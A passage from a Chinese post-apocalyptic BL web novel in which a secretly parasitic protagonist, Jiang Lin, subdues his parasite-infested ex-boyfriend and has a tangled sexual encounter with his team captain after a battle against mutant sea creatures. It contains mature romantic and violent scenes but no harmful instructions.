隗绍看着他走近,黑暗中静静看着他,犹如伏蛰在暗处的野兽,他语气缓了些,不再如之前那般咄咄逼人,“江林,我在基地无亲无故的,只能投奔你了,就算不能成为恋人,我们还是朋友吧?” 不管出于什么目的,隗绍都不准备放过江林。 江林是怎么知道自己被寄生的? 而且他最近也看出来了,江林在特调小队的地位仅次于林铭瑄,毕竟谁也不想得罪一个强大的治愈系异能者。 “可以,我们家里还有空房间。”江林自然不好拒绝“救命恩人”的请求 “以后你住这个房间,我等会帮你换好被单,洗漱用品都有的。”江林推开独立的小房间,有客人来住过几晚。 石欢姐弟面面相觑,头顶全是问号。 石欢年纪长,平时比较心细,也曾经夜起过几次,有一次分明听见方向阳博士房间传出过暧昧的声音,而她当时看了江林哥哥的房间,里面空无一人。 所以她知道江林哥哥也许和方博士有些难以言说的暧昧。 她在小队里又听说江林哥哥喜欢林部长。 啧,都末世了,多处几个好朋友也没关系,对吧? 但是现在把隗绍领进家里住,真的不会出事吗? 她视线悄悄瞥了一眼方向阳的表情,他刚从地下实验室出来,身上还穿着白大褂,他只是静静地注视着两人,没有任何的情绪波动。 哦,也有,他眼里闪过了嫌弃,大概是讨厌家里又多了个‘脏’人,博士洁癖又要犯了,房间内的酒精浓度要腌入味。 江林余光看见方向阳,上前两步,半点不尴尬,“博士,这是隗绍,我朋友,他没地方去,只能暂住在这里,你不会生气吧?” 方向阳记忆力还不错,这个隗绍应该是江林昨晚说的那个阴魂不散前男友? 隗绍也记得方向阳,只是没想到江林居然把他拐到蓝天基地了,他眼神微微一闪,想到了某种可能,唇角扯出笑容:“方博士,好久不见。” 方向阳点了点头,转身下楼,回到了仓库实验室。 江林耸耸肩:“没事的,他就是沉默寡言的性格。” 隗绍表示理解,从背包里拿出几个纸包装:“给你们准备了礼物。” 隗绍算是正式入住了。 两人成双成对地出入基地,不过一星期的时间,特调小队其他人就都知道了现在隗绍正在和江林同居。 越发扑朔迷离的多角恋,恨不得化身江林肚子里的蛔虫看看到底怎么回事。 对于这个流言林铭瑄没有和江林聊过,原本的两人行变成了三人行,林铭瑄从头到尾都没有拒绝的权利。 … 地下实验室内的仪器越来越多,原本空旷的地方放置得满满当当,安静的实验室内有细微呼吸声,声音哑哑的有些可爱,撒娇似的:“博士你好厉害” 江林坐在桌上,发丝轻轻晃动着,脸抵在他颈侧,手抱着他的脖子,在他耳畔哈气,脸颊红红,声音软乎乎的:“你好像最近不太高兴” “因为隗绍吗?” 方向阳手很忙,眉头拧着,视线落在他衣领滑落而露出的雪白肩膀上,自从上次的对视后,他就有些不喜欢和江林在这种情况下对视。 他和江林的身体越发熟悉起来。 江林很少会因为这种事情找他,除非是吃他吃得满足了,当下情绪上头,又不想委屈自己,便会拉着他的手让他帮忙。 是的,方向阳现在自己气都没喘匀,手臂上注射补血试剂的针孔还在淌血,不顾身体的抗议在满足江林的需求。 江林偏了偏头,吻住他的唇角,方向阳气息不稳,轻轻吮着江林柔软的舌尖,吮啧声清晰地奏响。 现在他也没办法非常笃定地说出自己更适配女生这种话了。 毕竟就算他缺乏生活和生理常识也知道,频繁和一个男人接吻、维持这种关系,绝对不属于直男范畴。 江林哼哼两声,咬破了方向阳的嘴角。 他手掌撑在身后,看着方向阳在清水下冲洗手指,挤了洗手液,搓洗着每根手指,唇角勾着笑,发现他虚弱得双腿有些打颤。 江林心中叹气,暂时他还不想真的整死这个非常有作用的方博士啊,像他这么全能的工具人真的太少了。 “上次检测发现随着你的异能越来越强大,身上的气息难以遮掩我根据你身体的各项指标,弄了一个升级版,比之前的药效要更好”方向阳从冷冻箱中取出浅蓝色的试剂。 上次江林出任务发现的端倪,那些变异植株又开始围攻他,只是他躲在人群中无人察觉,不过半个多月的时间,方向阳就给他解决了这个难题。 江林伸出手臂,冰凉的试剂注入他的血管,方向阳推了推眼镜,说:“我还需要你的血液,上次的触手用完了。” 江林见方向阳脸上冒出细细的冷汗,拿起纸巾给他擦了擦,笑了笑:“博士这么辛苦啊?出了好多汗呢。” “你要什么可以自己拿。” 方向阳没看他的眼睛,直到最后一滴蓝色药剂注入他的身体,放入托盘中。 “需要浅色的还是深色的?”江林的触手冒出来,他礼貌询问。 “深色就可以。”方向阳回答。 江林把自己深色的触手放在手术台上,任由方向阳切割想要的长度,他可以屏蔽触手的痛感,但是在方向阳下手的时候,还是喊了疼。 深色触手很大只,脱离了江林还在蠕动着,仿佛活的一般。 江林爬上楼梯,回到自己房间,门刚关上,身后便贴上来一个胸膛,喉咙被狠狠掐住,隗绍凶恶的声音响起:“江林你真够贱的,到底要勾搭多少人才能满足?嗯?” 很明显,隗绍刚刚在偷听。 他从未放弃过观察或者监视江林。 “既然谁都可以弄你,那你之前到底在装什么?欲擒故纵吗?” 江林微微扬起下巴,黑夜中红光闪烁,他慢条斯理地开口问道:“你只听见了这个吗?” 隗绍贴在他耳朵气急败坏的喘气,江林和方向阳,江林和林政钰,江林和李野行,江林和林铭瑄 唯独不肯和自己? 为什么? 明明他才是他名正言顺的男朋友! “我今天不会放过你的!” 江林笑了:“你真的蠢得让你当狗我都嫌弃啊。” 话音落下的瞬间,隗绍脚踝一疼,身体腾空,被吊在空中,他这才发现房间不知道什么时候被不知名的触手爬满,他愕然看向江林,那些东西都是从江林身上冒出来的! 江林也是寄生生物! 第62章 在人类异能者之间等级压制也许并不明显, 但是在丧尸或者变异种之中,高阶丧尸对低阶丧尸的控制和等级碾压是绝对的。 阶级分明,变异种就是野兽。 寄生生物也是这样。 当江林身上毫无遮掩的气息朝着隗绍压来的时候, 他几乎一秒就断定了江林的身份,后脑勺神经一抽一抽, 精神力的碾压,身体每一寸被寄生的躯体都在躁动着。 是一种害怕但又控制不住被吸引的感觉。 “江林!”隗绍的话没说完,触手一鞭狠狠抽在他脸上, 他脸被打偏,因为被倒挂着脸颊充血, 他表情难看,一双蛇瞳死死瞪着江林。 隗绍想要反抗,但却动弹不得,四肢被触手牢牢控制着,连异化都做不到,脸上的蛇鳞若隐若现。脖子上也被触手缠住, 不断收紧的触手, 让进入肺腑的空气一点点减少, 额前青筋暴起,他艰难地从齿间挤出一句话:“你也是重生的” 他一直都在疑惑江林的变化, 如果他也是重生的那就不奇怪了。 江林没有否认, 撩了撩刺入眼尾的刘海,双眸弯弯,眼角眉梢带着淡淡的笑意, 看着他逐渐窒息的表情,双眼凸出,千钧一发之际, 触手松开,他直直从空中摔下来。 “咳咳咳”隗绍控制不住的生理眼泪淌下来,五官有些扭曲,好不容易有了一些喘息的机会,触手抽打在他身上。 江林像个事不关己的少年,触手却像是戏弄他般,缠着他的脚踝高高抛起又重重摔下。 地板发出震颤,震耳欲聋的摔打声,他却无所顾忌,因为石欢姐弟不会来打扰他,方向阳则是早就知道他的本性。 “呼啊”隗绍咳出一口血,半边脸颊红肿不堪,双脚被触手狠狠掰折,痛苦地呻吟出声,他一双眼沁着阴毒之色,若是给他机会一定会咬断江林的脖子。 如果不是因为在江林面前连异化都做不到,他怎么会任由他揉捏? 江林刚刚饱餐一顿,所以对隗绍一点兴趣都没有,现在只是瞧他不顺眼,想要狠狠教训一顿而已。 像隗绍这种没用的男人,心思很好猜,不满江林的拒绝,想要抓住江林的痛脚,对他进行抨击和控制,想要pua他。 说隗绍喜欢他,江林是半点不信的,只是上辈子的绿帽加上这辈子的纠缠,让他舍弃不掉江林,江林的存在是他的污点,也是他想要证明自己的唯一标志。 隗绍手指扣进了触手中,江林的触手掐着他的脖子将人抓了起来,双脚离地,他沙哑至极的声音勉强传出来:“你要杀了我我吗?” 江林此刻觉得自己就是一个大反派,但系统却不出声,大概是因为隗绍被寄生之后,不属于人类范畴,所以江林这个圣父的人设可以在他面前崩塌? 隗绍说完这话,竖瞳微微一怔,蛇瞳缓缓放大,再次说话,嗓音却换了一个人,更加低沉又带着沙哑,手臂化作了细小的小蛇:“江林江林。” 江林的触手在小蛇出现的瞬间收了回来,因为脚踝被拧断,‘隗绍’只能趴在地上,他抬起脸,看向江林的眼瞳里充斥着狂热和痴迷,脸上再没有一丝不怨。 江林眉梢轻轻一挑,这就是寄生隗绍的东西? “他真没用。”‘隗绍’嫌弃地扫了一眼自己的皮囊。 “你是什么东西?”江林坐在椅子上,支着下巴,饶有兴趣地看着眼前的“人”。 “您的狗。”‘隗绍’眼瞳中间沁着一点黑墨的颜色,他化身蛇形艰难地爬到江林腿边,上半身赤裸,下半身拖着蛇尾,肌肤上纹着黑色的蛇纹,仿佛古老的印记。 少年和这个半人半蛇的东西相比,整个人干净圣洁,触手早就消失不见,湛蓝的眸子轻眨了一瞬,红润的嘴唇弯出一个细微的弧度,然后就看见‘隗绍’原本高昂的身躯弯下腰,俯下头,用脸颊蹭了蹭他的裤脚。 怪物像是双手捧着雪,虔诚又痴迷,舍不得玷污,又不受控制地靠近。 “这是谁告诉你说的?”江林穿着拖鞋,抬脚躲了躲,裤脚上差点被他沾上了血污。 “不知道,但我知道你喜欢乖的。”‘隗绍’回答。 “系统,这是什么意思?”江林在心中询问系统,视线静静地打量着眼前的蛇人。 “这可能是个意外。”系统也没办法解释,难道要告诉江林这是逃跑出去的主神切片,那主神可能会因为丢脸而恼羞成怒对他进行惩处。 “哦,你能一直控制隗绍的身体吗?”江林问,思索着隗绍这人的可用之处。 ‘隗绍’一顿,随即道:“很快就可以了。” 也就是现在还不行。 “好吧,滚吧。”江林不怕隗绍告密,且不说有没有人相信,他自己也绝对会暴露。 ‘隗绍’面露不舍,又去蹭江林的裤脚。 江林毫不留情地躲开,顺便给了他一鞭,‘隗绍’被打了才学乖一点。 等隗绍意识回归,发现自己正蜷缩在江林床边,四肢环抱着,身上的疼痛还在火辣辣地刺痛着,他像一个流浪狗似的,睡在冰冷的地板上。 隗绍脸上爬满了冰冷,爬起来看着正在熟睡的江林,对他的感情非常复杂,手指微微一动,现在很明显是杀死他的好时候,他正在睡觉毫无防备。 但不知道出于什么原因,他却没能下手,只是一瘸一拐地出了房间 “这次带领队伍的林铭瑄小队,准备一下,即刻启程海蓝基地。” 其中江林和隗绍赫然在其中,隗绍脖子上的勒痕变得极淡,与其说是致命绞杀留下来的痕迹,更像是情趣玩闹的痕迹。 特调小队的任务都比较冒险和紧急,这次是海蓝基地遭遇变异潮,海蓝基地临海,是北方四大基地之一,他们也是内陆和海洋的唯一防线。 从昨天下午开始爆发大规模的变异海洋生物攻击基地,形成变异潮,林铭瑄小队带领蓝天基地的援军帮助海蓝基地抵御外敌。 江林火急火燎地收拾好东西,便跟着大部队去了海蓝基地,历时五个小时赶到,他们算第三批援军。 海蓝基地甚至比蓝天基地的规模更大,广袤的海岸线若是末世前是极为漂亮的风景线,现在密密麻麻的变异兽爬上了岸。 江林站在防护墙,浑身鸡皮疙瘩都冒出来了,源源不断爬上岸的海洋变异兽,还在不断往外冒,仿佛杀都杀不完。 无边的大海,阴沉沉的天空,仿佛要顷刻间压下来,毁天灭地。 “你在这里照顾伤患。”林铭瑄低声道。 江林却不同意,“这里有很多治愈系异能者,并不需要我。” 在知道海蓝基地遭受侵袭后,每个基地都派遣了大量治愈系异能者来,当务之急是杀死变异兽,清理战场。 “你在质疑我这么多天的训练吗?队长。”江林转头看着他,笑了笑,玩笑般说着:“你不要一直小瞧我啊。” 林铭瑄身后还站着特调小队的人,自然不好再继续和江林争辩什么,只是带着人从隐秘的出口溜出去,开始大肆猎杀变异兽,若是变异兽堆积,迟早会吞没基地。 江林精神力有了显著提高,独当一面不成问题,且这些大多数都是低阶变异兽,并不会对他造成致命的威胁。 身上布满眼睛的鲨鱼,长出四肢的鱼类,钳子巨大的虾类个头都与人类并肩 下场的异能者很多,背靠基地,身后是百万普通人的性命,基地是人类的庇护所,是人类最后的防线。 那他们这些异能者,这些联邦军人便是人类最后的保护伞。 异能者的死亡率很高,稍有不慎就会被分食干净,那些有能力的普通人并没有躲在身后,选择继续站出来。 这场厮杀维持了半个月,原本海水和血水混杂在一起,变成了深褐的颜色,遍地的尸体,血腥味久久不散。 江林躺在地上,鼻尖缠绕着腥臭的味道,视线有些飘忽,手脚脱力,后背肩膀处有被刺穿的伤口,那是这次最高阶的变异兽造成的。 那是一只大章鱼,非常聪明,控制着这些变异兽攻城略地,他甚至触手上带着毒液,能够让人四肢无力、头脑致幻转而攻击同类,喷出的墨汁能致人于死地。 基地久攻不下,它没了耐心,杀了不少变异者,众人废了九牛二虎之力,才将它斩杀,此刻它巨大的尸体正一半在海岸上,另一半在海中,有人在打扫战场。 江林和林铭瑄都是被抬着进的基地,维持半月的战斗,医疗资源紧缺,医院的房间不够,只能将人带回临时居住地点养伤。 林铭瑄体魄更强,虽然伤得比江林重却比他先醒来,那混乱的战场似乎还在眼前,异能透支,身体也到达了极限,各处都是伤,他怔然看了一眼天花板,偏头便能看见隔壁床的江林。 两人的住处在一起,但因为战事紧张,从未有过多余的交流,甚至很少能同一个时间在房间休息,都是在轮番值班杀变异海兽。 林铭瑄拢了拢用纱布包裹的手指,有股无力感袭来,浑身像是被抽走力气,勉强坐起身来,腹部的伤口撕扯着,他有些想念江林给他治伤了。 “水”江林发出细小的轻喃,黛色的眉毛拧成一个小结,嘴唇泛着干燥的白,肩膀上包裹着纱布,露出粉白的半边胸膛,下半身没受伤穿着简单的军色裤子。 林铭瑄听到他虚弱的声音,撑起身体,鼓动的肌肉拉扯着伤口,强忍难受给他倒了一杯水,坐在江林床边,用手背轻轻拍了拍滚烫的脸颊:“江林,喝水。” 江林起初是下意识地避开,直到肩膀被人扶起,才挣扎着睁开双眼,视线有些恍惚,刚想说话,嘴边被水杯抵住,他扬起下巴,喉结滚动,喝完了一整杯水。 他眼神有些迷惘,主动握住了林铭瑄的手腕。 林铭瑄放水杯的动作稍稍一顿,视线扫过江林苍白的手背,唇角弧度还未勾起,便听见江林有些疑惑的语气:“部长,你怎么来了?” 林铭瑄感觉胸口豁然被划了一道口子,他从小就讨厌别人将两人认错,两人谁都不服谁,都是骄傲的人,不想被对方掩埋光芒,就只能不断努力。 一直在被比较,一直都活在彼此的阴影下。 如果是旁人将两人认错,他必然冷下脸来狠狠呵斥他一顿。 江林没有察觉到他难看的脸色,轻轻用手摸了摸他的脸颊,语气有些焦急:“这里很危险哦,现在变异潮结束,你是来查看情况吗?” 他似乎没有意识到自己的逻辑存在任何问题。 江林的指腹很软,捏了捏他的耳垂,手指在他脸上流转,林铭瑄明明没有发出一个音节,但江林的幻觉意识里,似乎已经得到了答案。 “你是来接我的?你真好,我没有受伤” 根据少年的回答,林铭瑄能够轻而易举地填补他幻想的对话。 “我也很想你,差点就死在这里了” 江林捧着他的脸,双眼表露出一点柔弱,鼻尖和林铭瑄的互相亲昵地蹭了蹭。 男人感觉身上的伤更疼了,随之而来的还有包裹心脏的酸痛感,林铭瑄这辈子活得光明磊落,能够拍着胸脯说对得起任何人。 却在对待江林这件事上失了偏颇,在江林吻上他嘴角的那刻就该停止的 江林双眼盈着水亮亮的眸光,是看见了喜欢人的那种清亮表情,那是一个温柔又甜美的吻,林铭瑄很克制,唇瓣相触,一点点更深地侵入,两人躺到了一张床上。 林铭瑄一言不发,手掌扫开他后颈的发丝,掌着他的后颈,内心的道德和感情在一起纠缠拉扯,江林幻觉还未完全褪去,他自己也不清醒吗? 他舔了舔江林的唇,接吻的动作很生疏,微微扬起头,目光落在江林的脸上,他眯着眼,睫毛卷翘雪白,宛如雪花。眉眼如画,五官仿佛画师手中最美的画作,原本苍白的嘴唇,此刻也多了一丝血色。 “部长?”江林嗓音哑哑的,带着一点疑惑,似乎不理解他为何要停下来。 林铭瑄的脸色很白,不光是因为这句部长,还有他的伤口不支持他做一些剧烈的动作。 男人俯身,弓起的腰让腰间的白色绷带沁出鲜血,他忍着疼,一声不吭,一点点撬开江林的唇,吮着他柔软的舌尖,品尝着应该属于他哥哥的一切。 这次是他自甘下贱成为哥哥的替身。 原本只是温存的吻,仿佛互相舔舐安慰的小动物,但随着林铭瑄手在江林身上乱摸,都擦枪走火来了点燥意。 事情朝着不可预知的方向发展。 江林似乎察觉到他身体的不适,渐渐让林铭瑄躺平在床上,手摸到他的伤口,语气比平时更加黏糊温柔,“你受伤了?” 林铭瑄顿了良久才攥着他的手腕,语气很沉:“没事,江林。” “是吗?”江林似乎有些怀疑。 林铭瑄勾着他的脖子,堵住他的唇,身为男人自然是懂男人的,顺着江林的脖子吻下去,精壮的身躯被江林拥着,身体因为伤口疼得生理性地发抖,却义无反顾。 他知道有些机会只有一次,溜走就没有了。 林铭瑄忍不住想,如果林政钰肯公开江林,当众承认江林的身份,他不可能做出这种事情。 他知道他哥哥这是既要又要,林政钰既想要用这种见不得光的手段将江林绑在身边,又不愿意让自己的名声受损,所以不公开。 要怪就怪林政钰他自己吧。 林铭瑄安慰自己,这样做没有错。 江林单身,他也单身,他们是自由的,他们没有错。 身心紧绷的杀戮之后,身体是巨大的消耗,精神也是极大地摧残,一场长久的睡眠也许可以缓解身体的疲劳,一场酣畅淋漓的x爱也许也是不错的宣泄方式 林铭瑄也不知道门有没有锁,但他敏锐的听觉能力听见门外来往的脚步声,若是有人闯进来,只怕第二天,林队长抱得美人归的消息就要在整个队伍传遍了吧 他拢着江林的后颈,晃动的视线死死黏在他脸上,少年的睫毛上似乎沾上了一点汗水,额前也有丝丝细汗,情动粉红的脸颊,仿佛许久不见的三月桃花。他看向男人的眼神,也是从未有过的温柔。 江林的眼睛生得好看,眼形圆润,看狗都深情,但林铭瑄清楚地知道这是不一样的,那是看喜欢人的眼神,藏着不可言说的情愫。 江林伸手环着他的腰,脸埋进他肩膀处,语气充满了欢喜:“部长,你真好。” 林铭瑄身体陡然一僵,下颌紧绷,硬朗的眉眼间出现一抹不合时宜的悲伤,苦涩的味道在唇齿间蔓延,心脏酸胀得不行,身体的伤口像是在这一刻全部恶化,疼痛难忍眼前一瞬间的炫目。 林铭瑄没有开口否认,任由江林误会,轻轻吻掉他额前的汗珠,顺着太阳穴缓缓往下吻去 男人提心吊胆,像是走钢丝的人,害怕江林突然清醒。 但人越是害怕什么,越是会面对什么。 江林手在触及粘腻的血液时,指尖被猩红的血液晃了一下,他再抬眼看去时,对上的林铭瑄微红的脸颊以及紧张的神情。 一切动作都停了下来,他们甚至还紧紧拥有着彼此,江林努力眨了眨眼睛,想要看清楚眼前的一切。 直到他发现不是幻觉,眼前的人是林铭瑄不是林政钰,他表情霎时间变得五颜六色。 “我”江林愕然的表情让林铭瑄心底一凉,不好的感觉涌上心头。 林铭瑄装作无事,咬牙凑上前,想去吻他的唇。 江林下意识地偏头躲开,语气有些艰难:“队长” 江林视线扫过两人赤/裸的身体,林铭瑄身体腰间的血已经顺着流到了床单上,精壮的肌肉此刻硬邦邦的,每一寸肌肉都在忍耐。 一片狼藉,不堪入目。 两人都顿在了原地,江林脸颊耳根一片涨红,他连忙道歉,弯腰退出,低着脑袋语无伦次地说着抱歉。 “队长,对不起,我” 林铭瑄见他动作这么利落,像是多待一刻都嫌弃,他喉结滚动了一瞬,表情坦荡,不动声色地下了床,打断他的道歉:“不用道歉,这原本就不是你的错。” 江林捡起自己的衣服套上,似乎不敢直视林铭瑄的眼睛,抿着唇不说话,表情都是懊恼。 “”林铭瑄抬手抓住他的手臂,江林低着脑袋,他只看见一个白色的发顶,手中传来挣扎的力道,他语气毫无低落的感觉,但问出的问题很卑微:“我就让你这么嫌弃吗?” 江林这才抬眼对上他家刚正不阿队长的眼睛,手指捏成的拳头,摇了摇头:“不是,是我把你认成了部长,是我的错,我不应该这样的” “你认什么错,你觉得我不愿意,你能把我怎么样吗?”林铭瑄轻笑一声,脸上毫无笑意,有点苦中作乐的感觉。 “你和他断了,跟着我不行吗?” 江林表情顿时变得痛苦纠结起来,挣开他的手,垂着眼继续穿裤子:“我不能这样,这样对你们都不公平,我会离开” 林铭瑄立刻打断了他的话,怕他继续说下去:“不用,我们都是男人,我是清醒的意识下让你/干/的。这是我的错,我乘人之危。你不用道歉,你不想让林政钰知道,我也会一直帮你瞒着。” 江林心中稍稍一叹,不得不承认林铭瑄这种人确实很好糊弄。 江林还是摇头,表情有些混乱:“不行,你是部长的亲弟弟我自己冷静一下。” 林铭瑄眼睁睁看着他离开自己的房间,徒留下他身上还残留着江林的温度。他保持一个动作很久没动,像一个被抛弃的动物,无家可归。 他默默牵动了一下嘴角,低声喃喃了一句:“真够无耻的啊,林铭瑄。” 良心的谴责和再次证明不被爱的伤心让他没有力气去找医生重新包扎伤口,他躺回自己床上,没有清洗,久久无法入睡。 江林纠结的神色转身消失,眼尾带着一丝薄凉,他刚走出门,便被隗绍堵住了,他将人拽进房间,敢怒不敢言的状态。 隗绍就在他隔壁,某些高昂的声音落入他的耳朵。 江林甩开他的手,轻揉了一下手腕,眉梢轻轻一挑:“干什么?” 隗绍见他脸上毫无羞耻和愧疚之色,一时语塞,压低声音道:“光天化日之下,这么多人都听着” 江林拿起他桌上掉落的一块坚硬蛇鳞,把玩在他手上,语气有些淡:“绍哥是不是管得有点多了?” “还是你也寂寞缺爱了?” “但真的很抱歉,我还真瞧不上你。” 自从那天暴露后,江林对隗绍的态度装都不装了。 隗绍脸都青了,咬牙切齿地说道:“你别把自己当成香饽饽了” 江林只是轻飘飘看了他一眼,“让你打听的寄生者打听得怎么样了?” 隗绍不配合:“我凭什么告诉你” “换个人来和我聊,跟你聊天太费劲了。”江林拧了下眉,触手一下抽到他脖子上。 ‘隗绍’眼神瞬间变得清澈了,轻轻捏住江林的触手,落在自己颈侧,亲昵地蹭来蹭,“海蓝基地这次就我知道的寄生者就有三个,浑水摸鱼吃了不少人” 他瞧见江林的军靴鞋带松了,半跪下身,伸手给他系鞋带,声音沙哑:“不光我发现了,还有其他异能者也留意到了,这两天应该会采取行动。” “你小心些,别暴露了。” 江林垂着眼看着半跪的高大卑微男人,视线有些走神,似在思索什么,‘隗绍’便仰着脸盯着他。 “上次你的蛇尾被咬断,现在怎么样了?”江林语气漫不经心,给一巴掌又给一颗甜枣。 “已经恢复得差不多了。”‘隗绍’露出自己的尾巴,尾尖缠住他。 “嗯,让隗绍出来。”江林说。 ‘隗绍’虽然不满,但听话,当隗绍出现看着自己的蛇尾缠在他脚踝上的时候,脸色麻木,习以为常的收回尾巴。 “隗绍咱俩才是同类,我觉得我们该合作,你觉得呢?你要找李野行报仇,而我也想要他死,如果你愿意听话的话,我们还是有合作的空间的。” “只要你放下那点对我非分之想,我对你还是很认可的。”江林笑眯眯地说道。 隗绍连忙反驳:“谁对你有非分之想?!” “没有最好。”江林低声道:“你离开林铭瑄身边,去林政钰手下,最近他身边的人会出了些岔子,你可以趁机上位” 隗绍凝了凝神,冷静听着他的话。 第63章 在外面转悠了一圈, 江林了解了基本的情况,随着高阶异能章鱼的死去,那些低阶变异兽也大半退回海里。 这次海蓝基地的危机, 联邦下达了红色危机指令,情况非常严峻, 援助的基地和个人都会得到奖励。 江林这张脸还是在各处混熟了的,所以当他出现在医疗仓的时候,众人并没有觉得很惊讶。 “人数有些对不上” “可能那边还有人没有搬运过来。” “还有一些人可能被吃掉了” 寄生者几乎和人类一模一样, 但以人类为食物,披着人类的皮囊, 继承着原主的意识,如果原主死亡则会露出真实的面容,重新寻找寄生体。 现在寄生者这个讯息只有特定的上层人知道,就是害怕消息的扩散,导致人心惶惶。特调小队也一直有任务就是调查和铲除寄生者。 随着越来越多的寄生者出现,这个消息可能就要瞒不住了。 人类之间信任即将迎来大危机。 江林到了后半夜才回到自己的房间, 彼时还亮着微弱的灯光, 凌乱的床单、打翻的水杯、摔在地上的枕头 一切还是他刚刚离开的样子。 隔壁床上的林铭瑄背对着他, 仿佛在熟睡,露出坚实的胳膊, 肩膀光裸, 背着光、睁着眼,一言不发。 江林站定一瞬,看着他的后脑勺, 不由叹了一口气。 林铭瑄此刻有些难受自己的听力太好,心下又是一沉,咬牙紧咬, 脊背肌肉绷直。 直到江林缓缓坐到他床边,扯了扯他的被单,声音轻哑:“队长给我看看你的伤口。” 林铭瑄那麻木冰冷的心脏在缓慢地回温,还以为自己出现了幻觉,江林便又开口:“队长?” 这不是他的错觉。 林铭瑄动作迟缓,转头对上江林的眼睛,湛蓝的眼睛里有对他的内疚,他抿了抿唇,说:“没什么大碍。” “给我看看。”江林手上拿着从医疗所带回来的急救包,打开拉链,视线微微回避。 林铭瑄沉默地坐直了身体,露出精壮的肌肉,带血的纱布依旧没换,血液已经干涸,身上有些不可言说的痕迹。 江林垂着眼,取下他的绷带,指尖异能闪烁,伤口还未愈合又重新撕裂,导致更加严重了些,他的异能还未恢复,不能让他痊愈,重新消毒,上药。 整个动作行云流水,极为熟练。 江林手臂在给他缠绷带的时候,轻轻环了环他的腰。 林铭瑄眼眸黑沉,随着他的靠近,鼻尖似乎闻到了他身上的味道,很淡很淡的香味,之前亲吻他的时候,味道更加浓郁些。 少年脸皮紧绷,神情前所未有地凝重,似乎面临着什么世纪难题。 “队长”江林给他处理好伤口,用湿纸巾擦着他身上的血痕,低着脑袋,声音很小:“最少今晚不能再乱动了,小心感染。” 林铭瑄直直看着江林,眼神一闪不闪,他做了这种事情,便半点不后悔,一人做事一人当,所有的后果他都愿意承受。 江林起身要走,手腕被人拽住。他下意识地抬眼,两人视线轻轻对视上。 江林的脸腾一下红了。 不知道想到了什么。 林铭瑄松开手,江林却不着急着离开了。 他干巴巴地开口:“队长,你要不要我给你看看下面的伤?” “”林铭瑄眼神微微一暗,“不需要。” “哦,好吧。”江林眼神闪躲,又结巴开口:“我拿了一些消炎药你吃一点,伤口好得更快。” “我给你倒水” “不用,我等会儿自己能吃。”林铭瑄没让他动,“不要做这些多余的事情,我不是需要照顾的那一方,这是你情我愿的事情,江林。” “我再强调一遍,都是我乐意让你” 江林捂住他的嘴,防止他再次说出那个敏感的字眼。到底还是有不同的,身体经历过深入交流的队友,真的还能保持原状当队友吗? 一般人都是不行的。 “你别说了。”江林脸盘红得不行,放下手,手指绞在一起。 “好。”林铭瑄面色冷静的点头。 “那你继续休息,我先去外面”江林咬了咬唇。 “为什么要去外面?”林铭瑄眉梢轻轻拧起。 “你的房间不是在这里吗?” 江林看着旁边痕迹斑斑的床单,虽然他没有洁癖,但躺在被汗湿的床单上还是有些难以接受。 “我床单脏了。” “你睡我的床,我和你换。”林铭瑄见他嫌弃,心中有些不是滋味,却没有任何的情绪外露,说完便起身下床。 “别别别。”江林连忙伸手按住他的手臂,“我换一下,你躺着别动。” 林铭瑄却推开他的手,但坐起来的时候,发现自己还未穿衣服,又顿住,随便拿出一件外套往他腰上一围,“你知道床单在哪吗?” 江林只能停下,看着林铭瑄下床,精壮的背对着他,蹲下从柜子里拿出干净的床单,他坦坦荡荡的样子,就算腿间淌出粘稠的水痕,他也像是毫无察觉。 江林却没那么坦荡,视线从他身上挪开,想要接过床单。 但林铭瑄拿着没动,声音一尘不变的沉稳冷静:“你站旁边。” “啊,我来吧。”江林不好意思。 林铭瑄避开他的动作,弯腰将床上的东西用床单包着处理干净,三两下扯下来扔在旁边的洗衣桶里。 江林就眼睁睁看着林铭瑄给自己铺好床单,他也不敢上前帮忙,似乎心虚不敢直视他的眼睛。 毕竟,他明面上喜欢的人可是他的哥哥。 “时间不早了,早点休息吧。”林铭瑄直起腰,将换好枕套的枕头放在床头,转身去了浴室。 江林等浴室的门关上,他才慢吞吞坐在自己床上,手轻轻滑过床单,有一种干燥的舒适感。 林铭瑄从浴室出来的时候穿上了干净完整的衣服,床头摆放着一杯水和药片。 灯熄灭,房间内陷入安静和黑暗,不管是身体和精神都是极为疲惫和紧绷的,江林眯了眯眼,没坚持几秒钟便合上了双眼,呼吸逐渐平缓。 一大早,江林很敏感地因为林铭瑄的起床声醒来。他正在系腰带,听见声响,抬眼看去,江林迷瞪的双眼正看着自己。 “早啊,队长。”江林哑着嗓子,揉了揉脑袋,刘海杂乱,头发还是绑着辫子,像个毛毛躁躁的小猫。 林铭瑄穿好笔挺的外套,整个人仿佛整装待发的箭矢,盯了几秒他清澈的眸子,喉咙微紧,军靴在地上踩出踢踏的声响,走到少年面前,弯下腰,在他脸颊上亲了一口。 江林一个激灵清醒了,眼睛都瞪大几分,耳畔传来林铭瑄的声音:“早上好,江林。” 不是?等下? 这对吗? 他不记得他们两人之间会有早安吻这个习惯啊。 林铭瑄却不准备解释,戴好帽子转身离开,扔下一句话:“洗漱好来餐厅吃饭,八点在任务厅集合。” 江林躺回床上,对于这个结果还是满意的,像林铭瑄这种人就需要一个契机逼一逼他,他不是那种随波逐流不争取的人。 他知道抓住机会,他知道什么叫做以进为退,从未想过要放弃江林。 海蓝基地因为压在头顶的乌云散去,休养一夜后,众人脸上都有轻松之色,以基地为单位拢在一起闲聊。 江林一眼看见了蓝天基地的军服,抬脚上前,林铭瑄旁边给他留了个位置,他坐下吃饭,隗绍在他对面,垂着眼,没瞧他。 “喝什么?”林铭瑄问。 “白开水就行。”江林声音有些小,依旧还在扭捏呢。 林铭瑄将盘子里的蛋糕往他那边推了推,继续和旁边的队友聊。 “好像是金北基地和陇西基地那边的人有问题。”杜晓菲压低了声音,将自己打探到的消息抛出来。 现在寄生者不好找,如果没有确凿证据就是冤枉好人,因为寄生物很狡猾,除非寄生体死亡,它才会露出马脚。 所以也就意味着求证就需要杀人。 “有多个异能者反映,这两人有些反常” 江林丝毫不慌,埋头苦吃,耳朵却竖得很高,耳尖又红了,林铭瑄余光扫了一眼江林,虽然知道江林这个反应可能只是处男的不好意思。 却还是忍不住觉得好笑。 他也是第一次,谁也不亏吧。 “江林你脸怎么这么红啊?伤口发炎感染了?”注意到江林状态的队友问道,嗓门不小,这下所有人的目光都聚集到了江林脸上。 “没没有。”江林连忙否认,嘴里又塞了个水果。 林铭瑄仿佛只是关心他的身体健康,抬手掌心按在他额头上。 江林仿佛被下了定身咒,咬着嘴里的苹果,眼睛一眨不眨地看着林铭瑄。 